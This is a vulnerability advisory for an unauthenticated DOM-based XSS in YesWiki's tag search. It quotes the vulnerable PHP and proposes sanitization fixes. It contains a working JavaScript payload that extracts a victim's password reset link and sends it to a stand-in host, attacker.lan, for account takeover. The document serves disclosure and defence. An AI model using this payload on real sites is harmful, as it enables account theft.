Unauthenticated DOM Based XSS in YesWiki <= 4.4.5
Summary
It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.
This Proof of Concept has been performed using the followings:
- YesWiki v4.4.5 (
doryphore-dev branch, latest)
- Docker environnment (
docker/docker-compose.yml)
- Docker v27.5.0
- Default installation
Details
The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.
This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:
$output .= '<div class="alert alert-info">' . "\n";
if ($nb_total > 1) {
$output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]);
} elseif ($nb_total == 1) {
$output .= _t('TAGS_ONE_PAGE_FOUND');
} else {
$output .= _t('TAGS_NO_PAGE');
}
$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {
return '<span class="tag-label label label-info">' . $tagName . '</span>';
}, $tab_selected_tags)) : '') . '.';
$output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n";
$output .= '</div>' . "\n" . $text;
echo $this->Header();
echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hr_clear\" />\n</div>\n";
echo $this->Footer();The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.
PoC
1. Simple XSS
Abusing the tags parameter, we can successfully obtain client side javascript execution:
2. Full account takeover scenario
By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
fetch('/?ParametresUtilisateur')
.then(response => {
return response.text();
})
.then(htmlString => {
const parser = new DOMParser();
const doc = parser.parseFromString(htmlString, 'text/html');
const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
})Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.
Impact
This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures
- Sanitize properly the tag names when created here
foreach ($tags as $tag) {
trim($tag);
if ($tag != '') {
if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) {
$this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '');
}
//on supprime ce tag du tableau des tags restants a effacer
if (isset($tags_restants_a_effacer)) {
unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);
}
}
}
- Sanitize the tag names when looked for here
//$tags = (isset($_GET['tags'])) ? $_GET['tags'] : '';
$tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : '';
The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
References
Unauthenticated DOM Based XSS in YesWiki <= 4.4.5
Summary
It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.
This Proof of Concept has been performed using the followings:
doryphore-devbranch, latest)docker/docker-compose.yml)Details
The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.
This part of the code is managed by
tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.
PoC
1. Simple XSS
Abusing the
tagsparameter, we can successfully obtain client side javascript execution:2. Full account takeover scenario
By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.
Impact
This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures
Implement a stronger password reset mechanism through:
Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)
References